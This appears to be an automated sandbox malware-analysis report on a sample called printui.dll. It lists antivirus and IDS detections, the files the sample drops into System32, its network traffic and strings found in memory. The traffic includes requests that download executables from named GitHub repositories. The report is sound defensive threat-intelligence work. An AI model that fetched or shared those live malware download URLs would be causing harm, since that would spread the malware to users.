2024-09-20T12:14:45.755376+0200	2803305	3	Unknown Traffic	192.168.2.4	58635	140.82.121.3	443	TCP
2024-09-20T12:14:45.756726+0200	2803305	3	Unknown Traffic	192.168.2.4	58636	140.82.121.3	443	TCP
2024-09-20T12:14:47.201369+0200	2803305	3	Unknown Traffic	192.168.2.4	58639	185.199.108.133	443	TCP
2024-09-20T12:14:47.234398+0200	2803305	3	Unknown Traffic	192.168.2.4	58640	185.199.108.133	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://raw.githubusercontent.com/panchito10/myFiles/main/myapp9.exe

Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Windows\System32\x841418.dat	Avira: detection malicious, Label: TR/Agent.dsldy
Source: C:\Windows\System32\winsvcf\Z753638.exe	Avira: detection malicious, Label: TR/AD.Nekark.ynurm
Source: C:\Windows\System32\console_zero.exe	Avira: detection malicious, Label: TR/Crypt.Agent.hukqb
Source: C:\Windows \System32\printui.dll	Avira: detection malicious, Label: TR/Crypt.Agent.ivuox
Source: C:\Windows\System32\winsvcf\Z369335.exe	Avira: detection malicious, Label: TR/AD.Nekark.ynurm
Source: C:\Windows\System32\usvcinsta64.exe	Avira: detection malicious, Label: TR/AD.Nekark.lzsnr

Multi AV Scanner detection for dropped file

Source: C:\Windows \System32\printui.dll	ReversingLabs: Detection: 87%
Source: C:\Windows\System32\Z295699.dat	ReversingLabs: Detection: 62%
Source: C:\Windows\System32\Z369335.exe (copy)	ReversingLabs: Detection: 91%
Source: C:\Windows\System32\Z422697.dat	ReversingLabs: Detection: 62%
Source: C:\Windows\System32\Z753638.exe (copy)	ReversingLabs: Detection: 91%
Source: C:\Windows\System32\console_zero.exe	ReversingLabs: Detection: 75%
Source: C:\Windows\System32\usvcinsta64.exe	ReversingLabs: Detection: 64%
Source: C:\Windows\System32\winsvcf\Z369335.exe	ReversingLabs: Detection: 91%
Source: C:\Windows\System32\winsvcf\Z753638.exe	ReversingLabs: Detection: 91%
Source: C:\Windows\System32\x841418.dat	ReversingLabs: Detection: 79%

Multi AV Scanner detection for submitted file

Source: printui.dll	ReversingLabs: Detection: 37%
Source: printui.dll	Virustotal: Detection: 36%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.8% probability

Machine Learning detection for dropped file

Source: C:\Windows\System32\x841418.dat	Joe Sandbox ML: detected
Source: C:\Windows\System32\winsvcf\Z753638.exe	Joe Sandbox ML: detected
Source: C:\Windows\System32\winsvcf\Z369335.exe	Joe Sandbox ML: detected

Source: Z369335.exe, 00000029.00000000.2361090178.00007FF613B9E000.00000002.00000001.01000000.0000000B.sdmp

Binary or memory string: -----BEGIN PUBLIC KEY-----

memstr_bdd68eb7-a

Source: unknown	HTTPS traffic detected: 185.199.108.133:443 -> 192.168.2.4:58628 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.108.133:443 -> 192.168.2.4:58630 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.4:58633 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.3:443 -> 192.168.2.4:58634 version: TLS 1.2

Source: printui.dll

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT

Source:	Binary string: C:\Program Files\vcpkg\buildtrees\curl\x64-windows-rel\lib\libcurl.pdb source: Z369335.exe, 00000029.00000000.2361090178.00007FF613B9E000.00000002.00000001.01000000.0000000B.sdmp, Z753638.exe, 0000002A.00000000.2361728234.00007FF7A1E4E000.00000002.00000001.01000000.0000000C.sdmp, usvcinsta64.exe, 00000060.00000000.2708505470.00007FF621EC4000.00000002.00000001.01000000.00000010.sdmp
Source:	Binary string: D:\a\postgresql-packaging-foundation\postgresql-packaging-foundation\postgresql-15.7\Release\libpq\libpq.pdbGG source: Z369335.exe, 00000029.00000000.2361090178.00007FF613B9E000.00000002.00000001.01000000.0000000B.sdmp, Z753638.exe, 0000002A.00000000.2361728234.00007FF7A1E4E000.00000002.00000001.01000000.0000000C.sdmp
Source:	Binary string: vcruntime140d.amd64.pdb source: Z369335.exe, 00000029.00000002.2514293921.00007FF61319E000.00000002.00000001.01000000.0000000B.sdmp, Z369335.exe, 00000029.00000000.2361090178.00007FF61319E000.00000002.00000001.01000000.0000000B.sdmp, Z753638.exe, 0000002A.00000002.2487451063.00007FF7A144E000.00000002.00000001.01000000.0000000C.sdmp, Z753638.exe, 0000002A.00000000.2361728234.00007FF7A144E000.00000002.00000001.01000000.0000000C.sdmp, usvcinsta64.exe, 00000060.00000000.2708505470.00007FF621EC4000.00000002.00000001.01000000.00000010.sdmp
Source:	Binary string: vcruntime140d.amd64.pdb,,, source: Z369335.exe, 00000029.00000002.2514293921.00007FF61319E000.00000002.00000001.01000000.0000000B.sdmp, Z369335.exe, 00000029.00000000.2361090178.00007FF61319E000.00000002.00000001.01000000.0000000B.sdmp, Z753638.exe, 0000002A.00000002.2487451063.00007FF7A144E000.00000002.00000001.01000000.0000000C.sdmp, Z753638.exe, 0000002A.00000000.2361728234.00007FF7A144E000.00000002.00000001.01000000.0000000C.sdmp, usvcinsta64.exe, 00000060.00000000.2708505470.00007FF621EC4000.00000002.00000001.01000000.00000010.sdmp
Source:	Binary string: C:\Program Files\vcpkg\buildtrees\zlib\x64-windows-rel\zlib.pdb## source: Z369335.exe, 00000029.00000000.2361090178.00007FF613B9E000.00000002.00000001.01000000.0000000B.sdmp, Z753638.exe, 0000002A.00000000.2361728234.00007FF7A1E4E000.00000002.00000001.01000000.0000000C.sdmp
Source:	Binary string: D:\a\postgresql-packaging-foundation\postgresql-packaging-foundation\postgresql-15.7\Release\libpq\libpq.pdb source: Z369335.exe, 00000029.00000000.2361090178.00007FF613B9E000.00000002.00000001.01000000.0000000B.sdmp, Z753638.exe, 0000002A.00000000.2361728234.00007FF7A1E4E000.00000002.00000001.01000000.0000000C.sdmp
Source:	Binary string: C:\Program Files\vcpkg\buildtrees\openssl\x64-windows-rel\libcrypto-3-x64.pdb source: Z369335.exe, 00000029.00000002.2514293921.00007FF61319E000.00000002.00000001.01000000.0000000B.sdmp, Z369335.exe, 00000029.00000000.2361090178.00007FF61319E000.00000002.00000001.01000000.0000000B.sdmp, Z753638.exe, 0000002A.00000002.2487451063.00007FF7A144E000.00000002.00000001.01000000.0000000C.sdmp, Z753638.exe, 0000002A.00000000.2361728234.00007FF7A144E000.00000002.00000001.01000000.0000000C.sdmp, usvcinsta64.exe, 00000060.00000000.2708505470.00007FF621EC4000.00000002.00000001.01000000.00000010.sdmp
Source:	Binary string: D:\a\postgresql-packaging-foundation\postgresql-packaging-foundation\postgresql-16.3\Release\libpq\libpq.pdb source: Z369335.exe, 00000029.00000000.2361090178.00007FF613B9E000.00000002.00000001.01000000.0000000B.sdmp, Z753638.exe, 0000002A.00000000.2361728234.00007FF7A1E4E000.00000002.00000001.01000000.0000000C.sdmp
Source:	Binary string: D:\a\postgresql-packaging-foundation\postgresql-packaging-foundation\postgresql-16.3\Release\libpq\libpq.pdbJJ source: Z369335.exe, 00000029.00000000.2361090178.00007FF613B9E000.00000002.00000001.01000000.0000000B.sdmp, Z753638.exe, 0000002A.00000000.2361728234.00007FF7A1E4E000.00000002.00000001.01000000.0000000C.sdmp
Source:	Binary string: C:\Program Files\vcpkg\buildtrees\zlib\x64-windows-rel\zlib.pdb source: Z369335.exe, 00000029.00000000.2361090178.00007FF613B9E000.00000002.00000001.01000000.0000000B.sdmp, Z753638.exe, 0000002A.00000000.2361728234.00007FF7A1E4E000.00000002.00000001.01000000.0000000C.sdmp
Source:	Binary string: C:\Program Files\vcpkg\buildtrees\openssl\x64-windows-rel\libssl-3-x64.pdb source: Z369335.exe, 00000029.00000000.2361090178.00007FF613B9E000.00000002.00000001.01000000.0000000B.sdmp, Z753638.exe, 0000002A.00000000.2361728234.00007FF7A1E4E000.00000002.00000001.01000000.0000000C.sdmp
Source:	Binary string: ucrtbased.pdb source: Z369335.exe, 00000029.00000000.2361090178.00007FF613B9E000.00000002.00000001.01000000.0000000B.sdmp, Z753638.exe, 0000002A.00000000.2361728234.00007FF7A1E4E000.00000002.00000001.01000000.0000000C.sdmp
Source:	Binary string: Microsoft.Powershell.PSReadline.pdb000100b5fc90e7027f67871e773a8fde8938c81dd402ba65b9201d60593e96c492651e889cc13f1415ebb53fac1131ae0bd333c5ee6021672d9718ea31a8aebd0da0072f25d87dba6fc90ffd598ed4da35e44c398c454307e8e33b8426143daec9f596836f97c8f74750e5975c64e2189f source: powershell.exe, 0000002D.00000002.2781722907.000001D0D99D0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Program Files\vcpkg\buildtrees\openssl\x64-windows-rel\libssl-3-x64.pdb{{ source: Z369335.exe, 00000029.00000000.2361090178.00007FF613B9E000.00000002.00000001.01000000.0000000B.sdmp, Z753638.exe, 0000002A.00000000.2361728234.00007FF7A1E4E000.00000002.00000001.01000000.0000000C.sdmp
Source:	Binary string: fhell.PSReadline.pdb source: powershell.exe, 0000001F.00000002.2094887656.0000017B7D944000.00000004.00000020.00020000.00000000.sdmp

Source: global traffic	HTTP traffic detected: GET /rootbossko/myfiles/main/my_backup_app.exe HTTP/1.1Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rootbossko/myfiles/main/my_backup_app.exe HTTP/1.1Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rootbossko/myfiles/main/myapp9.exe HTTP/1.1Host: raw.githubusercontent.com
Source: global traffic	HTTP traffic detected: GET /rootbossko/myfiles/main/myapp9.exe HTTP/1.1Host: raw.githubusercontent.com
Source: global traffic	HTTP traffic detected: GET /rootbossko/myfiles/raw/main/my_backup_app.exe HTTP/1.1Host: github.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rootbossko/myfiles/raw/main/my_backup_app.exe HTTP/1.1Host: github.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rootbossko/myfiles/raw/main/myapp9.exe HTTP/1.1Host: github.com
Source: global traffic	HTTP traffic detected: GET /rootbossko/myfiles/raw/main/myapp9.exe HTTP/1.1Host: github.com
Source: global traffic	HTTP traffic detected: GET /panchito10/myFiles/main/my_backup_app.exe HTTP/1.1Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /panchito10/myFiles/main/my_backup_app.exe HTTP/1.1Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /panchito10/myFiles/main/myapp9.exe HTTP/1.1Host: raw.githubusercontent.com
Source: global traffic	HTTP traffic detected: GET /panchito10/myFiles/main/myapp9.exe HTTP/1.1Host: raw.githubusercontent.com
Source: global traffic	HTTP traffic detected: GET /json/ HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /json/ HTTP/1.1Host: ip-api.comConnection: Keep-Alive

Source: Joe Sandbox View	IP Address: 208.95.112.1 208.95.112.1
Source: Joe Sandbox View	IP Address: 185.199.108.133 185.199.108.133
Source: Joe Sandbox View	IP Address: 140.82.121.3 140.82.121.3
Source: Joe Sandbox View	IP Address: 140.82.121.3 140.82.121.3

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown

DNS query: name: ip-api.com

Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:58631 -> 185.199.108.133:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:58636 -> 140.82.121.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:58639 -> 185.199.108.133:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:58632 -> 185.199.108.133:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:58640 -> 185.199.108.133:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:58635 -> 140.82.121.3:443

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /rootbossko/myfiles/main/my_backup_app.exe HTTP/1.1Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rootbossko/myfiles/main/my_backup_app.exe HTTP/1.1Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rootbossko/myfiles/main/myapp9.exe HTTP/1.1Host: raw.githubusercontent.com
Source: global traffic	HTTP traffic detected: GET /rootbossko/myfiles/main/myapp9.exe HTTP/1.1Host: raw.githubusercontent.com
Source: global traffic	HTTP traffic detected: GET /rootbossko/myfiles/raw/main/my_backup_app.exe HTTP/1.1Host: github.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rootbossko/myfiles/raw/main/my_backup_app.exe HTTP/1.1Host: github.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rootbossko/myfiles/raw/main/myapp9.exe HTTP/1.1Host: github.com
Source: global traffic	HTTP traffic detected: GET /rootbossko/myfiles/raw/main/myapp9.exe HTTP/1.1Host: github.com
Source: global traffic	HTTP traffic detected: GET /panchito10/myFiles/main/my_backup_app.exe HTTP/1.1Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /panchito10/myFiles/main/my_backup_app.exe HTTP/1.1Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /panchito10/myFiles/main/myapp9.exe HTTP/1.1Host: raw.githubusercontent.com
Source: global traffic	HTTP traffic detected: GET /panchito10/myFiles/main/myapp9.exe HTTP/1.1Host: raw.githubusercontent.com
Source: global traffic	HTTP traffic detected: GET /json/ HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /json/ HTTP/1.1Host: ip-api.comConnection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: ip-api.com
Source: global traffic	DNS traffic detected: DNS query: raw.githubusercontent.com
Source: global traffic	DNS traffic detected: DNS query: github.com

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closeContent-Length: 14Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandboxStrict-Transport-Security: max-age=31536000X-Content-Type-Options: nosniffX-Frame-Options: denyX-XSS-Protection: 1; mode=blockContent-Type: text/plain; charset=utf-8X-GitHub-Request-Id: 447B:1AF872:79D22C:849FDF:66ED4B10Accept-Ranges: bytesDate: Fri, 20 Sep 2024 10:14:42 GMTVia: 1.1 varnishX-Served-By: cache-ewr-kewr1740024-EWRX-Cache: MISSX-Cache-Hits: 0X-Timer: S1726827282.099355,VS0,VE9Vary: Authorization,Accept-Encoding,OriginAccess-Control-Allow-Origin: *Cross-Origin-Resource-Policy: cross-originX-Fastly-Request-ID: 40bf59799317917027e588753cd2b80ed5d4c96cExpires: Fri, 20 Sep 2024 10:19:42 GMTSource-Age: 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closeContent-Length: 14Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandboxStrict-Transport-Security: max-age=31536000X-Content-Type-Options: nosniffX-Frame-Options: denyX-XSS-Protection: 1; mode=blockContent-Type: text/plain; charset=utf-8X-GitHub-Request-Id: B5BD:3DF4ED:7B899F:86576D:66ED4B12Accept-Ranges: bytesDate: Fri, 20 Sep 2024 10:14:42 GMTVia: 1.1 varnishX-Served-By: cache-nyc-kteb1890088-NYCX-Cache: MISSX-Cache-Hits: 0X-Timer: S1726827283.927489,VS0,VE7Vary: Authorization,Accept-Encoding,OriginAccess-Control-Allow-Origin: *Cross-Origin-Resource-Policy: cross-originX-Fastly-Request-ID: 10200fac9fb92ba829e0788fda841893952a01d3Expires: Fri, 20 Sep 2024 10:19:42 GMTSource-Age: 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closeContent-Length: 14Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandboxStrict-Transport-Security: max-age=31536000X-Content-Type-Options: nosniffX-Frame-Options: denyX-XSS-Protection: 1; mode=blockContent-Type: text/plain; charset=utf-8X-GitHub-Request-Id: C5F6:AB50B:80DD5A:8BAE76:66ED4B12Accept-Ranges: bytesDate: Fri, 20 Sep 2024 10:14:43 GMTVia: 1.1 varnishX-Served-By: cache-ewr-kewr1740064-EWRX-Cache: MISSX-Cache-Hits: 0X-Timer: S1726827283.976638,VS0,VE89Vary: Authorization,Accept-Encoding,OriginAccess-Control-Allow-Origin: *Cross-Origin-Resource-Policy: cross-originX-Fastly-Request-ID: e5f7a10c495223135a68447f621813dbf5efee91Expires: Fri, 20 Sep 2024 10:19:43 GMTSource-Age: 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closeContent-Length: 14Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandboxStrict-Transport-Security: max-age=31536000X-Content-Type-Options: nosniffX-Frame-Options: denyX-XSS-Protection: 1; mode=blockContent-Type: text/plain; charset=utf-8X-GitHub-Request-Id: C5F6:AB50B:80DD5A:8BAE76:66ED4B12Accept-Ranges: bytesDate: Fri, 20 Sep 2024 10:14:43 GMTVia: 1.1 varnishX-Served-By: cache-ewr-kewr1740074-EWRX-Cache: HITX-Cache-Hits: 1X-Timer: S1726827284.523479,VS0,VE0Vary: Authorization,Accept-Encoding,OriginAccess-Control-Allow-Origin: *Cross-Origin-Resource-Policy: cross-originX-Fastly-Request-ID: 3c07615b6acef9f524320a23fb5153828ce69548Expires: Fri, 20 Sep 2024 10:19:43 GMTSource-Age: 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: GitHub.comDate: Fri, 20 Sep 2024 10:14:44 GMTContent-Type: text/html; charset=utf-8Vary: X-PJAX, X-PJAX-Container, Turbo-Visit, Turbo-Frame, Accept-Encoding, Accept, X-Requested-WithCache-Control: no-cacheStrict-Transport-Security: max-age=31536000; includeSubdomains; preloadX-Frame-Options: denyX-Content-Type-Options: nosniffX-XSS-Protection: 0Referrer-Policy: no-referrer-when-downgrade
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: GitHub.comDate: Fri, 20 Sep 2024 10:14:44 GMTContent-Type: text/html; charset=utf-8Vary: X-PJAX, X-PJAX-Container, Turbo-Visit, Turbo-Frame, Accept-Encoding, Accept, X-Requested-WithCache-Control: no-cacheStrict-Transport-Security: max-age=31536000; includeSubdomains; preloadX-Frame-Options: denyX-Content-Type-Options: nosniffX-XSS-Protection: 0Referrer-Policy: no-referrer-when-downgrade
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: GitHub.comDate: Fri, 20 Sep 2024 10:14:45 GMTContent-Type: text/html; charset=utf-8Vary: X-PJAX, X-PJAX-Container, Turbo-Visit, Turbo-Frame, Accept-Encoding, Accept, X-Requested-WithCache-Control: no-cacheStrict-Transport-Security: max-age=31536000; includeSubdomains; preloadX-Frame-Options: denyX-Content-Type-Options: nosniffX-XSS-Protection: 0Referrer-Policy: no-referrer-when-downgrade
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: GitHub.comDate: Fri, 20 Sep 2024 10:14:45 GMTContent-Type: text/html; charset=utf-8Vary: X-PJAX, X-PJAX-Container, Turbo-Visit, Turbo-Frame, Accept-Encoding, Accept, X-Requested-WithCache-Control: no-cacheStrict-Transport-Security: max-age=31536000; includeSubdomains; preloadX-Frame-Options: denyX-Content-Type-Options: nosniffX-XSS-Protection: 0Referrer-Policy: no-referrer-when-downgrade
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closeContent-Length: 14Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandboxStrict-Transport-Security: max-age=31536000X-Content-Type-Options: nosniffX-Frame-Options: denyX-XSS-Protection: 1; mode=blockContent-Type: text/plain; charset=utf-8X-GitHub-Request-Id: 1EEC:A288F:76DC05:81AA26:66ED4B16Accept-Ranges: bytesDate: Fri, 20 Sep 2024 10:14:46 GMTVia: 1.1 varnishX-Served-By: cache-ewr-kewr1740045-EWRX-Cache: MISSX-Cache-Hits: 0X-Timer: S1726827286.448466,VS0,VE9Vary: Authorization,Accept-Encoding,OriginAccess-Control-Allow-Origin: *Cross-Origin-Resource-Policy: cross-originX-Fastly-Request-ID: 6bc899f331e939638a3ad253ba02a88721577e74Expires: Fri, 20 Sep 2024 10:19:46 GMTSource-Age: 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closeContent-Length: 14Content-Security-Policy: default-src 'none'; style-src 'unsafe-inline'; sandboxStrict-Transport-Security: max-age=31536000X-Content-Type-Options: nosniffX-Frame-Options: denyX-XSS-Protection: 1; mode=blockContent-Type: text/plain; charset=utf-8X-GitHub-Request-Id: 1EEC:A288F:76DC05:81AA26:66ED4B16Accept-Ranges: bytesDate: Fri, 20 Sep 2024 10:14:46 GMTVia: 1.1 varnishX-Served-By: cache-ewr-kewr1740045-EWRX-Cache: HITX-Cache-Hits: 1X-Timer: S1726827286.453453,VS0,VE4Vary: Authorization,Accept-Encoding,OriginAccess-Control-Allow-Origin: *Cross-Origin-Resource-Policy: cross-originX-Fastly-Request-ID: 044e0b22b04d2ef09b000d6ef0ee44099a902c83Expires: Fri, 20 Sep 2024 10:19:46 GMTSource-Age: 0

Source: powershell.exe, 00000021.00000002.2113591803.0000013019250000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micros
Source: powershell.exe, 00000021.00000002.2020697921.0000013000505000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000002D.00000002.2472387739.000001D0C0D75000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microsoft
Source: powershell.exe, 0000002D.00000002.2477330728.000001D0C1390000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.v
Source: svchost.exe, 0000001B.00000002.2655770498.00000204B1C1D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2681327360.000002ACB7034000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: svchost.exe, 0000001B.00000002.2653908426.000002049944F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.2653908426.000002049949B000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D95F000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D90F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://github.com
Source: powershell.exe, 0000001F.00000002.2084881349.0000017B7CC5A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://go.microsoft.c
Source: powershell.exe, 0000001F.00000002.2084881349.0000017B7CC5A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://go.microsoft.ctain
Source: svchost.exe, 0000001B.00000002.2653908426.00000204993B4000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.2653908426.00000204993B8000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.2653908426.00000204993A4000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D874000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D864000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D878000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ip-api.com
Source: svchost.exe, 0000001B.00000002.2653908426.0000020499379000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.2657806837.00007FFE1A539000.00000002.00000001.01000000.00000006.sdmp, svchost.exe, 0000001B.00000002.2655670338.00000204B19E9000.00000002.00000001.01000000.00000006.sdmp, svchost.exe, 0000001E.00000002.2681179076.000002ACB5EA9000.00000002.00000001.01000000.00000007.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D839000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2683957872.00007FFE1A4D9000.00000002.00000001.01000000.00000007.sdmp	String found in binary or memory: http://ip-api.com/json/
Source: Z369335.exe, 00000029.00000000.2361090178.00007FF613B9E000.00000002.00000001.01000000.0000000B.sdmp, Z753638.exe, 0000002A.00000000.2361728234.00007FF7A1E4E000.00000002.00000001.01000000.0000000C.sdmp	String found in binary or memory: http://mingw-w64.sourceforge.net/X
Source: powershell.exe, 0000001F.00000002.2069395012.0000017B1008E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001F.00000002.2020827601.0000017B01C59000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000021.00000002.2021541888.000001300274C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000021.00000002.2086759234.0000013010BBE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000002D.00000002.2481633473.000001D0C311B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000002D.00000002.2739375152.000001D0D153A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000032.00000002.2477653300.000001FAB919D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000032.00000002.2731045402.000001FAC75BB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000032.00000002.2477653300.000001FAB7801000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: svchost.exe, 0000001B.00000002.2653908426.00000204993D5000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.2653908426.00000204994D3000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001B.00000002.2653908426.00000204993F9000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D895000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D8B9000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D994000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://raw.githubusercontent.com
Source: powershell.exe, 0000001F.00000002.2020827601.0000017B002D1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000021.00000002.2021541888.0000013000E02000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000002D.00000002.2481633473.000001D0C1781000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000032.00000002.2477653300.000001FAB7801000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: svchost.exe, 0000001B.00000002.2653908426.00000204993A4000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 0000001E.00000002.2679717788.000002AC9D864000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001F.00000002.2020827601.0000017B00001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000021.00000002.2021541888.0000013000B31000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000002D.00000002.2481633473.000001D0C14C2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000032.00000002.2477653300.000001FAB7531000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 0000001F.00000002.2020827601.0000017B002D1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000021.00000002.2021541888.0000013000E02000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000002D.00000002.2481633473.000001D0C1781000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000032.00000002.2477653300.000001FAB7801000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: Z369335.exe, 00000029.00000000.2361090178.00007FF613B9E000.00000002.00000001.01000000.0000000B.sdmp, Z753638.exe, 0000002A.00000000.2361728234.00007FF7A1E4E000.00000002.00000001.01000000.0000000C.sdmp	String found in binary or memory: http://worldtimeapi.org/api/timezone/Etc/UTC
Source: Z369335.exe, 00000029.00000000.2361090178.00007FF613B9E000.00000002.00000001.01000000.0000000B.sdmp, Z753638.exe, 0000002A.00000000.2361728234.00007FF7A1E4E000.00000002.00000001.01000000.0000000C.sdmp	String found in binary or memory: http://worldtimeapi.org/api/timezone/Etc/UTCapplication/octet-streamtext/plain;
Source: powershell.exe, 00000032.00000002.2477653300.000001FAB7801000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
